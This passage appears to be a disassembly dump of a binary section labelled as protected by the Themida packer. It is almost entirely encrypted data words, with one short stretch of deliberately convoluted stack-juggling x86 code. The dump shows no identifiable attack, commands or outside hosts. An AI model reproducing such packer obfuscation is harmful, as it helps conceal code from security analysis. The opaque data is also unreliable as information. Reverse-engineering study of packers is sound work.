5632F19Dh, 46E4A40Bh dd 3D147A63h, 0FCD705E5h, 98E20752h, 1027F571h, 9158C319h dd 2EF6FD4Ah, 5D2AC86h, 723EA09Eh, 34179374h, 0E804EB0Fh dd 0E92C54EFh, 530h, 5F7CA3E3h, 0F10E3D79h, 829FCE0Bh dd 112E619Ch, 0A5C2ED2Bh, 3B7941A1h, 0CC0DF310h, 63A288A5h dd 0FB351B38h, 0FDDEABC8h, 27690F4Fh, 58368F13h, 0B25588C2h dd 1AA3E391h, 0B52B16C9h, 5E9C6018h, 0FE91633h, 396CA7D4h dd 0B1DF410Bh, 2A644AE7h, 182554F7h, 391FAF60h, 9DA860FDh dd 275588C3h, 0A0DAC05Dh, 3F7B3F6Dh, 49ABDA16h, 8BEA0D1Bh dd 0DC0A3D2h, 86D5C453h, 22BFEE2Ah, 2CCF023Ch, 79195D0Bh dd 0E0A516C9h, 0F044DDC9h, 95329476h, 9EC908EEh, 0BBE421FBh dd 0BFED4F7Eh, 0CBB158F5h, 6F33618Ch, 0F5D9072Eh, 8C66F77Eh dd 9E842150h, 0CFFE3A5Fh, 5875D7A1h, 0E514512Bh, 5491EDB7h dd 68A28825h, 0E74F56E6h, 0DF90EFEAh, 7738FCD5h, 85B3154Dh dd 0EBAB597Ah, 0F316C9FCh, 1D26E07Dh, 9916C9FCh, 4162FB7Ah dd 0C9FCD393h, 0C865DB16h, 0CF3127E9h, 613940h, 0C2FF0000h dd 8F275588h, 16C91ACDh, 376594D1h, 0DB093473h, 43611463h dd 4E76D807h, 0F51C5D37h, 2B60FDC7h, 0D7BF614Ah, 1B140CFh dd 77000000h, 295786C2h, 57FA2965h, 7411407Dh, 3BBDF8BCh dd 4E7918CAh, 0BCEA4C7Dh, 618FBAF8h, 0D531609Dh, 5539679Ah dd 610797DEh, 316D373Eh, 0C5FFE502h, 0C2477592h, 672B5984h dd 0ACEFC2Bh, 0AC709ECDh, 0ADE7436Eh, 1B3E4C7Ah, 5DBC445Ah dd 234E8C18h, 0B3E62006h, 5584C185h, 0BEB75827h, 0CFD533EDh dd 754D40h, 0C2130000h, 672B5984h, 9114AC2Ah dd 0C7D6C9B9h, 0FE8C8F16h, 0BF21F97Bh, 15608391h, 926518Fh dd 8FC8ADDCh, 0A060AD5Fh, 0F3FB6492h, 0A23FA163h, 25537EBCh dd 0C5F32661h, 48835DF6h, 32437815h, 0CF10C779h, 5DD940h dd 71A00000h, 988DF1BEh, 73A13ED8h, 235F84C2h, 0A06492F4h dd 64F2E761h, 4B332D49h, 0F443BBE9h, 0BAE52381h, 5741709Dh dd 3976A6B9h, 7B4B7916h, 1AEAAC5Ah, 84F416C9h, 58B41649h dd 0F5BFED1Ch, 7367258h, 1A0041D9h, 97B616C9h, 69A57FDEh dd 0A5420C3Ah, 0CFD71AC6h, 11640h, 0C2DC0000h, 1D285685h dd 0AAD80743h, 235D43E0h, 67DEC2F0h, 2A59960Eh, 0C7CD40Dh dd 336E4869h, 1A4D11BFh, 0DB5116C9h, 8122DC79h, 51C31F5h dd 639D618Fh, 4B6C8D30h, 203FD99Dh, 3F6FE513h, 13203F7Fh dd 0B70F3E7Bh, 17FDA441h, 0E47CAADDh, 13203FA0h, 13512B72h dd 5F164BE8h, 0BBE624FEh, 0CBFE381Eh, 68A781AEh, 3F084EFCh dd 20961320h, 0F52862BEh, 5387258h, 0FDABCCD7h, 13203FB9h dd 0AAD80341h, 611288E0h, 3DFC9E2Dh, 0DCC25F55h, 0BD4520A2h dd 67766C8h, 77B276A4h, 13521644h, 5FD6BAE8h, 264D8E16h dd 44CC2EF8h, 0DA1490E5h, 0E5AB8AA7h, 0FB452616h, 10Fh dd 0A7176FC1h, 9FD5604h, 0B3291C32h, 5487C185h, 0E4175137h dd 0E87CABB6h, 94985D11h, 13B21BEh, 0A6C93D4h, 5E203867h dd 0F85F229Dh, 54B3A35Bh, 16498321h, 4E761AF9h, 845E4526h dd 23ED1B46h, 336586h, 6F2B0000h, 5503A618h, 16C919C1h dd 11A9D74Dh, 16C91A4Dh, 92D1AB40h, 0E095CA67h, 5A81A71h dd 90BEF12Bh, 4EFC29C6h, 16C919D8h, 0F5D3F066h, 97h, 0AD176F35h dd 49134170h, 2183AEEDh, 8E3C5D7Eh, 16C91AC8h, 9C360D6h dd 1C321E00h, 6772A016h, 0F11F528Dh, 6AA48A27h, 0FA341A37h dd 20199C7h, 90132016h, 0ECB51A49h, 5183B314h, 67F67FB4h dd 90AF3D38h, 0FE9B0DE1h, 70B1DE18h, 0A0511B49h, 4A152AB8h dd 91AE1086h, 76173564h, 435FA5A6h, 0A5156DA6h, 0C607E102h dd 0AA7719Fh, 0DADE5850h, 83BD9719h, 5BD1B350h, 0FC2F692Dh dd 273EACEh, 0E487F74Fh, 34AD2636h, 13B62C1Ch, 830244F2h dd 168C1320h, 6FA4D279h, 2A04A717h, 0F320BDF0h, 4303B1D2h dd 4B16C91Ah, 6E7E38D5h, 0F41C3347h, 0CBADB7Eh, 1327694Ah dd 8941DE54h, 3B588BC5h, 0B8AFDF0Eh, 6DB8FEACh, 0D0461327h dd 5B90811Fh, 6B9ED8BEh, 3C6DA53Dh, 82B3590h, 0CAFD376Dh dd 0EA0F4D27h, 0F01E80ABh, 618CCA26h, 0FD371DC4h, 9DD89CCAh dd 0E9583C6Ah, 0B5F9A7C8h, 393A9D14h, 14D393C3h, 65DB3A9Dh dd 0C2E293C8h, 52385588h, 0FBB7E518h, 8, 60A17B3Bh, 27959C39h dd 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh, 0BDEB1654h dd 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h, 0E7895786h dd 4B951h, 0CF010000h, 4EF8359h, 5C243C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], edi push 5ADCh mov [esp], edx mov edx, 5EE73DFh mov eax, edx pop edx push 27F3h mov [esp], esp add dword ptr [esp], 4 pop edi push 5C3Ch mov [esp], eax pop dword ptr [edi+8] mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_5461C3 ; --------------------------------------------------------------------------- db 62h dd 4D2BC984h, 8C478D29h, 3B71A669h, 0EE7888B8h, 0FFC50305h dd 534AB2E0h, 0A44F4012h, 3055AC6Eh, 0D3B90465h, 57F4314Ah dd 508DA10Fh, 0D4037F0Ah, 483C6A73h, 53D9EE57h, 0E7FBB867h dd 0B898F97Dh, 9536B247h, 0A939C04h, 0B8CD403Ch, 810FF637h dd 0A500B5Ah, 0E27E0421h, 1423E61Eh, 9E260D6Fh, 0CEDD9D41h dd 0F3B9494Ah, 2B156139h, 3302BE03h, 84239004h, 568D8D07h dd 6A05EE7Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 3CCDC355h, 8D89C18Bh, 5E92655h dd 68D0Fh, 0E6810000h, 34B9F865h, 80585C7h, 6F3005E9h dd 0BD8B0000h, 5E908E5h, 163D85C7h, 5E9h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 27AA16C3h, 0DC79FDDFh, 0DB810058h, 7E085478h, 30EDB5FFh dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 1F9CFFC3h, 8529B012h, 5E91EF1h, 0BC595FFh dd 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0FF6556C3h, 0E94A85DFh, 8D2907D6h, 5E92245h dd 95FF006Ah, 5E91E95h, 6CEBC08Bh, 2BC0A5CEh, 989E6DCAh dd 0EB07C13Dh, 0D0A6960Eh, 1E9AF98h, 0B80DE3C1h, 0DD9CC50Eh dd 0D5FC907Bh, 1CC3BD48h, 6096B030h, 22FCC79Fh, 77203B9h dd 0A0FDA4C2h, 45B05527h, 599F121Ch, 0FAF9B079h, 22487491h dd 5A03A10Dh, 61393360h, 0CFA3228Eh, 5F69075Fh, 3ED0DCF1h dd 44BC02A2h, 87A78BD8h, 0BAC08EAFh, 846B33AAh, 0ABA67370h dd 7E8h, 70DC9100h, 0B8A5B69Bh, 3850Fh, 0BF0F0000h, 0BD295EFBh dd 5E92BD9h, 6E71C681h, 870F0000h, 3, 0BAC38B66h, 6B8D4ADCh dd 2F78EA81h, 0BD8B6B8Dh, 5E92FDDh, 8B6636FFh, 7E859C1h dd 0A000000h, 7775E848h, 852B9353h, 5E9020Dh, 3DE98158h dd 892EFBC5h, 0E900059Dh, 0DCE98105h, 0F6BA40Ch, 882h dd 2840F00h, 8A000000h, 7CC181C6h, 896A8431h, 0E931D195h dd 0E90E8905h, 0Fh, 6FC7A872h, 6DBD9A76h, 811DAC47h, 81AFDBFFh dd 818C05EEh, 10E916h, 0D7540000h, 334F45B5h, 37861B7Eh dd 0BC8AC945h, 0C681CC8Ch, 16818C01h, 0CC0FB866h, 1EA81h dd 850F0000h, 0Dh, 1CE9F8h, 0E1EC0000h, 0E517CA55h, 48D0F97h dd 66000000h, 0E903C6B8h, 0FFFFFF58h, 4C0ACEF1h, 66E9793Bh dd 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 5E92345h dd 7A6F858Dh, 0D0FF05ECh, 0E358589h, 0FE8B05E9h, 680CEFC1h dd 20060000h, 26A006Ah, 0D6857h, 95FF0001h, 5E90E35h, 32E9h dd 0E585C600h, 5605E90Eh, 0C530DF68h, 0FDB5FFA9h, 8D05E91Eh dd 0EC7A6F85h, 89D0FF05h, 0E9314585h, 0D858D05h, 5005E91Eh dd 56A406Ah, 4595FF56h, 6105E931h, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 7C348589h, 428B05EEh, 2C85890Ch dd 8B05EE7Ch, 85891042h, 5EE7C30h, 7C6AB58Dh, 858D05EEh dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0EE7C34B5h, 2C858B05h dd 8305EE7Ch, 0EE7C30BDh, 840F0005h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 34858908h, 8D05EE7Ch, 0EE7CBBB5h dd 35858D05h, 0FF005B7Eh, 8B5A61D0h, 0EE7C3485h, 4C205h dd 7C34858Bh, 8B05EEh, 7C348589h, 0CF05EEh, 60000000h dd 7C91B589h, 858905EEh, 5EE7C8Dh, 25D1858Dh, 408B05E9h dd 0CA858944h, 8D05EE7Ch, 0EE7D00B5h, 35858D05h, 0FF005B7Eh dd 858B61D0h, 5EE7C91h, 8D9D8BC3h, 0F05EE7Ch, 33C43B7h dd 785B8BD8h, 7C8D9D03h, 738B05EEh, 8DB50324h, 5605EE7Ch dd 8B207B8Bh, 0BD031C73h, 5EE7C8Dh, 7C8DB503h, 83FC05EEh dd 8B41FFC9h, 0EE7C919Dh, 3178B05h, 0EE7C8D95h, 4C78305h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 0EE7C8D85h, 91858905h, 8B05EE7Ch, 8BCE8BF0h dd 0CABD81C1h, 5EE7Ch, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 5EE7CCAh dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 0CABD8100h dd 5EE7Ch, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 5EE7CCAh, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 38858DCFh dd 8905EE7Ch, 0E90EB585h, 0CE858D05h, 8905EE7Ch, 0E9078185h dd 95858D05h, 8905EE7Ch, 0E92E0185h, 0DC8D8D05h, 8B05EE7Eh dd 558D89C6h, 6A05E926h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0D1D3C357h, 5CC84554h dd 0E935F56Fh, 0Ch, 8CA7C70h, 8F597D31h, 48635C1Ch, 80585C7h dd 74B805E9h, 0FA8B0000h, 163D85C7h, 5E9h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A33744C3h, 3B90BED2h, 0B589007Ah, 5E91855h, 10E9B5FFh dd 858905E9h, 5E92B55h, 0BC595FFh, 6A05E9h, 1E9595FFh dd 0C08B05E9h, 0F1277FEBh, 0ACB600B4h, 28FF18A2h, 25016518h dd 1F263D87h, 406E003Ch, 0EAC15688h, 0ED08F60Fh, 74DBD695h dd 0B6057ADAh, 1F8CDD9Fh, 5AED1702h, 0AA65D3AAh, 0DAB04454h dd 873DAE4Eh, 0ADEE1945h, 17EC2813h, 0B4296227h, 0B952A6F8h dd 5D62D3h, 70212AF9h, 0D677D216h, 2B078195h, 2890C753h dd 0E5914DA3h, 878261h, 0EA00D883h, 6C6C81D8h, 8773FFA9h dd 48F5786Bh, 0B0A53E5Dh, 0CD634F75h, 0AE802h, 7BB50000h dd 575AF808h, 0C3790A1Dh, 0A9958950h, 5B05E926h, 118A0F5Fh dd 0E8000000h, 5, 0E091CE86h, 8E0F93h, 5E000000h, 5A83C781h dd 0BE660000h, 72B932A7h, 0F000016h, 685h, 399D8B00h, 0FF05E922h dd 11E937h, 6D510000h, 0CD4543F3h, 3FC185C4h, 0C1FAC9D5h dd 5AE96B26h, 0BE8h, 32622600h, 0A7419C69h, 0D8E52ADh dd 7159D29h, 815E05E9h, 6D7CAFF2h, 0E3816663h, 0EA8137CDh dd 2DAEB95Fh, 27C281FCh, 0F6586D1h, 1789F1B7h, 61AAFDBEh dd 4EF8314h, 35D68166h, 850F4931h, 0FFFFFF9Fh, 14E9h, 6629F400h dd 2229982Ah, 9C7E224h, 83D80CB2h, 147BD130h, 611D28DCh dd 0D447FEBh, 0F8A05AA7h, 0EC7FBDF3h, 903B0C07h, 417EDF7Bh dd 28B44FDh, 7C8BB980h, 372AFB32h, 43760545h, 0FC867321h dd 403E9133h, 4135B93Dh, 0BAB01E32h, 4138A3DBh, 0C05DD132h dd 1B2B1FFBh, 69DE5CB1h, 4E3BF5DBh, 413B75B6h, 1B148532h dd 0CFD2712Bh, 273B0F31h, 0C4B654B9h, 44D54376h, 413BECDBh dd 34BB32h, 57AED5E2h, 8824651Fh, 0BAB0419Eh, 0C8C4BD62h dd 0A0BAA336h, 0AECF876h, 0C11D64BFh, 0FE5DF5DCh, 0CB6BB23Ah dd 653FB5FCh, 413D9B3Dh, 0ABBA0F32h, 4C587A86h, 4C6A56CDh dd 0C05BE4DBh, 5AD2B4E5h, 2061CD3Fh, 4151FCB9h, 4138F661h dd 1A1B0F32h, 1DB2DCF1h, 5BAC716h, 4120E516h, 1278F032h dd 71FF4AF1h, 0F5E9299Ah, 4134F619h, 8BB60F32h, 30B0F58Dh dd 7EC9A154h, 799C87EEh, 0EFF571A4h, 1E66C362h, 577681B1h dd 343B1BDBh, 60868C3Bh, 413E6E23h, 126BDA46h, 3B8321B9h dd 0C83BF036h, 0A818C1B7h, 85A6B137h, 0BE3EF58Ah, 0C26354E1h dd 0A82AA68Fh, 564FC337h, 3B83B262h, 0C83BF036h, 0A818C1B7h dd 0F2A6B137h, 0BE3EF587h, 4E6354E1h, 413B81BBh, 0D9F54232h dd 2B384C67h, 42D3A232h, 613B7832h, 0C861FF68h, 0C03F3A66h dd 5C3F2B76h, 33B8732h, 68BC0060h, 57817515h, 68291E56h dd 4151B8B9h, 4138D465h, 1E1B1E32h, 3DB250F1h, 5BA8316h dd 4126C716h, 167CE132h, 0B6F4DBF1h, 6AEB97C8h, 0CBDB3048h dd 6FA693E7h, 0FB3EE1B2h, 34D78813h, 0B885A561h, 0C4B6BE42h dd 44D5AF03h, 413BF43Dh, 91C43C32h, 4131F652h, 6FE80F32h dd 0A268808Bh, 0D374FD15h, 0CA60BE65h, 813091E1h, 4141FC3Dh dd 41513C32h, 4138F667h, 1C1B0F32h, 2DB2DAF1h, 5BAC716h dd 412FE516h, 147EF032h, 44D275F1h, 213B3C32h, 5F58D4CBh dd 0F5692BFh, 428382DBh, 2B3BC332h, 42D3B232h, 613BF032h dd 0C860BB69h, 0C03F186Eh, 543F3A76h, 23B0F32h, 0D94D4461h dd 0A9F34854h, 413BE139h, 0F71E06B0h, 0BC5C114Dh, 0A84F3583h dd 413B1E34h, 0C4116A61h, 0BE64FBE5h, 44B2CCD1h, 0FF3BE132h dd 685F0128h, 0C10DE5BFh, 415139DCh, 4138F667h, 1C1B0F32h dd 2DB2DAF1h, 5BAC716h, 4121E516h, 147EF032h, 2AF768F1h dd 153F5D3Dh, 1F6BCEB9h, 1E0A8ABFh, 415182DCh, 41382B64h dd 1F1BE132h, 35B2AEF1h, 5BA7C16h, 412F3816h, 177D1E32h dd 0F63451F1h, 42B588E5h, 273BC332h, 91C412B9h, 0A968F058h dd 413B7831h, 1AF86712h, 451F42BBh, 451F4BB3h, 413B8727h dd 0D8F89071h, 412B0826h, 15B5F032h, 9765F06Ah, 0D671CFACh dd 763FA480h, 938964D1h, 0C5344739h, 413BC34Ch, 0A968E158h dd 413BF031h, 1AF82312h, 451F60BBh, 451F5AB3h, 413B0F2Bh dd 0B2F8D471h, 569A9A85h, 27CA6AB0h, 0CC55998Bh, 0A87515AFh dd 163B5637h, 413B1DDAh, 82642F32h, 65470E6Dh, 657F4236h dd 413BFA36h, 826CB732h, 0B55F7CC3h, 44B77FDEh, 4083E5B9h dd 2B3B0F32h, 42D3D132h, 613BC332h, 0C865226Ch, 0C03FD446h dd 543F5C76h, 73B3C32h, 2132DD64h, 0BEC3B83Dh, 0AFBAE1D1h dd 0DCB65D9Eh, 44D56109h, 70BE7DCBh, 2B3E966Dh, 42D36A32h dd 613B1E32h, 0C865CC6Ch, 0C03FA346h, 563FE776h, 73BE132h dd 2C123364h, 0F6340009h, 21EBC3F9h, 48D2D0B9h, 663B0F32h dd 9020385Bh, 0CCD39FEh, 4EFBEA53h, 413BCCB6h, 41B67732h dd 0CC3B3C32h, 0A87573AFh, 0A3E28E37h, 0F96DB2A3h, 413BC331h dd 413E623Dh, 282F032h, 0BE05F34Eh, 4128D5D1h, 7F761E32h dd 0EF90727h, 0EBB3D44h, 4A760E76h, 53867087h, 4AD2B324h dd 53B7832h, 404695B8h, 7F76603Fh, 0A85B0727h, 413B8739h dd 0F0E6BE2h, 8589D065h, 2124AA82h, 1B6B2362h, 0FCB65D53h dd 44D59E16h, 0C56A82BFh, 3C8382DCh, 72B1886Eh, 0A8162CB7h dd 80F4DB37h, 0DE5BFDBh, 5139DCC1h, 38F66741h, 1B0F3241h dd 0B2DAF11Ch, 0BAC7162Dh, 0E9831605h, 8BA4F305h, 10E9C0h dd 0F4BD0000h, 6320FBC7h, 0F5A719ACh, 628587FDh, 880F964Fh dd 0 dd 0B6C38BF9h, 0B9C08B66h, 11B3208Dh, 164DBD83h, 750005E9h dd 21BD8309h, 5E911h, 53501974h, 7AB8C08Bh, 89000004h dd 0E905AD85h, 2B9D8D05h, 0FF05EBB9h, 83585BD3h, 0E91121BDh dd 17740005h, 7AB85350h, 89000004h, 0E905AD85h, 0CC9D8D05h dd 0FF05EBB5h, 0F585BD3h, 0B86h, 5830F00h, 0BE000000h dd 4D2A681Fh, 78A1EA81h, 0E9604188h, 0Bh, 18135DC7h, 3CA96B66h dd 0E9ECBCEAh, 8, 0C84F5493h, 0C1438F46h, 0E9C08B61h, 13Ch dd 4Fh dup(0) dd 2FB1BD83h, 0F0105E9h, 53B84h, 8B666000h, 6184B2F8h dd 0EE585C6h, 604305E9h, 0E9D78B66h, 7, 41841A64h, 61479BFFh dd 154D9568h, 0E9525093h, 0Bh, 856F6C4Ah, 0A8C5525Ah, 0F764AD0h dd 0BB666031h, 90BB0D6Fh, 614CBAB6h, 3481585Ah, 0B09D6024h dd 56006A7Fh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0A4A6A2FAh, 0B27B07D1h, 1870F16h, 0F8000000h dd 28A0F60h, 56000000h, 92F5805Bh, 0FDB5FF61h, 0F05E91Eh dd 887h, 2890F00h, 60000000h, 6F858D61h, 0F05EC7Ah, 0B83h dd 6E900h, 859D0000h, 6D96080h, 6AD0FFF5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B7C7C350h dd 8B66609Dh, 61FD8ADFh, 858589F9h, 0E905E901h, 0Dh, 11463201h dd 7483FFEh, 0F733F638h, 0E585C67Eh, 5005E90Eh, 0D73168F8h dd 5250F707h, 5E9h, 3F826900h, 310FF5ACh, 9E860h, 0F31E0000h dd 0E344A5CAh, 5FA95526h, 5A616160h, 24348158h, 5FAA7A67h dd 1890Fh, 0FFF50000h, 0E91EFDB5h, 11E905h, 0DE7E0000h dd 6BB26E82h, 0AFE01D05h, 261C9981h, 8D3E3598h, 0EC7A6F85h dd 0D0FFF505h, 1820F60h, 0F5000000h, 858961F5h, 5E91011h dd 0EE9h, 0DEF90C00h, 2C5C17EBh, 0E3E85691h, 6829C2AAh dd 0B92BD81Ch, 13800Fh, 0EE90000h, 17000000h, 9583EB0Ah dd 0B968050Ch, 6C55BBE9h, 240481E0h, 3763D013h, 0BE6660FCh dd 9E923BCh, 35000000h, 5D2D5232h, 4763E9B1h, 0FDB5FF61h dd 6A05E91Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 80CCC351h, 1732B8A1h, 8DFC4A1Dh dd 0EC7A6F85h, 0DE905h, 6A3E0000h, 14371F27h, 0CD82FB8h dd 0FF240CFEh, 14860FD0h, 60000000h, 0AE8C18Bh, 47000000h dd 85039A94h, 0EED2396h, 89615A20h, 0E90E7585h, 0C840F05h dd 0F000000h, 68Ah, 8E0F00h, 0C6000000h, 0E90EE585h, 6A5005h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 301B00C3h, 0F58E1B9h, 1786h, 12E900h, 53B70000h, 0AA5F7CD3h dd 7E824E26h, 9D141AD4h, 0C571088Ah, 11E9h, 2ADD700h, 0BF4F810Dh dd 26155461h, 7D13D067h, 21689D73h, 0E94D0B1Ch, 0Fh, 0E43609B3h dd 0A2F3F6F8h, 7FE2ECA5h, 81534FE5h, 0C0352404h, 5E94A91h dd 59000000h, 0F2B25FD4h, 2345B5FFh, 14E905E9h, 1C000000h dd 10A8054Ch, 0F51CB6B0h, 6CF2B1E4h, 0ED8028B7h, 8D92C2DDh dd 0E939CF85h, 7860F05h, 0F000000h, 181h, 0D0FFF800h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0EFC35040h, 6103D6CDh dd 894FF1B0h, 0E90CA185h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0AAF12583h dd 5840F60h, 66000000h, 171CCE81h, 0DE9h, 47BCF300h, 0F48AF105h dd 297F76BAh, 0E96105CFh, 1F0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 2AC35040h, 6095FC45h, 0EE9h dd 0F2861C00h, 35E0235Bh, 83FE8D16h, 6637B9FEh, 612899B8h dd 60525050h, 4A5B866h, 0DE9h, 33CC5800h, 0AA07CA65h, 0ECF4C7Eh dd 0F6153F2h, 2860F31h, 60000000h, 95585A61h, 12E9h, 7842C900h dd 0F42C9142h, 1AEA0A34h, 0AEB1084Ah, 60E747BEh, 0EE9DA8Bh dd 0D7000000h, 0ED2FB300h, 0F22C6762h, 5F32F99h, 0EC8B61D5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0FC35343h dd 0FC695236h, 5E9h, 784DE800h, 820FADF7h, 1Bh, 8E0F60h dd 0E9000000h, 0Eh, 0D9F02847h, 242FB436h, 3D9DD999h, 836147F4h dd 0F60FCC4h, 6061FBB7h, 10E9h, 29052F00h, 0B1EE9535h dd 61C56554h, 0C8EF22E2h, 1880F66h, 0FC000000h, 0E8h, 0EA815A00h dd 5EE8AB8h, 0FC45C7h, 83000000h, 0E92FB1BAh, 840F0105h dd 98h, 6A006A52h, 8592FF0Fh, 5A05E901h, 851F8289h, 9A8D05EEh dd 5EE8523h, 2803C752h, 53000001h, 1192FF50h, 5A05E910h dd 239A8D52h, 5305EE85h, 851FB2FFh, 92FF05EEh, 5E90CA1h dd 74C00B5Ah, 239A8D50h, 8D05EE85h, 0C933247Bh, 104F981h dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h, 0C752B39h dd 1FB1BA8Dh, 4D8B05E9h, 32A4F30Ch, 0FF52AAC0h, 828D0875h dd 5E91FB1h, 7592FF50h, 5A05E90Eh, 0A075C00Bh, 1FC45C7h dd 0EB000000h, 0FC45C707h, 0 dd 0FC458B61h, 8C2C9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 4BC35343h, 0E9F911A1h, 0Ch, 0E26888E2h dword_596D68 dd 44890FA3h, 8E57E5D7h, 8D8DD28Bh, 5EE8C4Bh, 0FA1B58Bh ; DATA XREF: Themida_:005556EFo dd 8D8905E9h, 5E92655h, 2840Fh, 0F28B0000h, 80585C7h, 72C805E9h dd 85C70000h, 5E9163Dh, 0 dd 2EF59529h, 0B5FF05E9h, 5E910E9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0C9C35040h, 9DBD89E2h, 0FF05E92Fh dd 0E90BC595h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 58C0FCADh, 87EE53A4h dd 12E9283Ch, 42000000h, 7AC04ED4h, 4949B5D3h, 1D8EE255h dd 5947D07Bh, 0FF006A51h, 0E91E9595h, 0EBC08B05h, 0BF21D37Fh dd 0A660983h, 6B725F94h, 0A2EC6545h, 0F427C9D8h, 0C87F4F41h dd 59DD9A16h, 0EF5E332Fh, 0C6F109F4h, 3984D245h, 94E918DCh dd 44DC25B4h, 35F156F8h, 0E1E08F6Dh, 7FD9DB81h, 44D4D012h dd 59C32830h, 5095EF25h, 7789906Eh, 932ECDB7h, 4F5CA8F1h dd 0A2D59E60h, 129A1DE7h, 0A9D6033Dh, 0A9942C31h, 0E4570B97h dd 365620Bh, 67216B7Eh, 0C6EBDFA5h, 862FA62Fh, 0BBD581D3h dd 751C3671h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0D1F9E9C3h, 5069C902h, 9E9h, 6925EB00h dd 43A7078Dh, 835B4C19h, 0E9164DBDh, 9750005h, 1121BD83h dd 740005E9h, 8B535019h, 3FCB8C0h, 85890000h, 5E923B9h dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h dd 3FCB853h, 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 7ED5C2C3h, 2C925A45h, 8166C56Fh, 0F334DF3h dd 0C08BD6B7h, 0F61DB80h, 0C86h, 68E0F00h, 81000000h, 0ECDD53F3h dd 0BDBD8328h, 105E901h, 54840Fh, 9E90000h, 19000000h dd 24233FDFh, 0E2B9E30Dh, 28E5BD83h, 0F0005E9h, 3985h dd 8B665000h, 0BD835BDFh, 5E91EDDh, 0AC840F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0F697C355h, 6ACBCEE0h, 0C983BB22h, 66E93235h dd 6A000003h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 9266C356h, 0F93BCC40h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EC35242h dd 33C10E4h, 0F7DC0C7h, 384h, 30F28000h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 17h, 0CCC35141h, 0FACA12Ch dd 587h, 0F2816600h, 23BB0A9Ah, 0C62D5729h, 4B4FDAFAh dd 0D2C78C4Ah, 5089644Fh, 2465D317h, 10D340h, 63E2E1C2h dd 1DA761A3h, 0B41BEF90h, 4C9B329Fh, 0D2C1609Dh, 0FE13E529h dd 0B4C88C86h, 2004644Fh, 7F97CFA9h, 7F95FD86h, 4BC16449h dd 27C1E42Ah, 879BC27Fh, 69C164A7h, 5940394Fh, 5F2FEA8Bh dd 0C5946425h, 96C1644Ch, 1602396Fh, 0A1E508C6h, 0D6E520CEh dd 69C16455h, 3F02310Ah, 2A591FEAh, 2DABB6E8h, 96C28C19h dd 15E1644Fh, 0D1483A8Ch, 9640606Bh, 69DB606Bh, 0E287644Fh dd 0B5E0478Ch, 0E120815Eh, 96C162A7h, 5289354Fh, 241CE544h dd 0A1DC8195h, 0A94A3F56h, 0BB3D92CFh, 5AC160CBh, 0D54A044Fh dd 474A342Eh, 2DE560C6h, 0A4CEB2C4h, 0B43F4003h, 17687CEh dd 0E5C10E17h, 5AC167A7h, 0EE98444Fh, 0B28DED16h, 6F85E54Bh dd 0A5C1714Bh, 1190254Fh, 0B5762312h, 0B4C3684Ah, 76B7DE4Fh dd 254A074Dh, 1DA7BEC4h, 0F33D9807h, 0A5C1644Eh, 3A906425h dd 69C1644Ch, 0ED023D6Fh, 5EE528C6h, 29E520CEh, 96C1645Ah dd 5C02350Eh, 0A5C68D61h, 0F1F2644Fh, 0AADB1937h, 0B4D18C1Ch 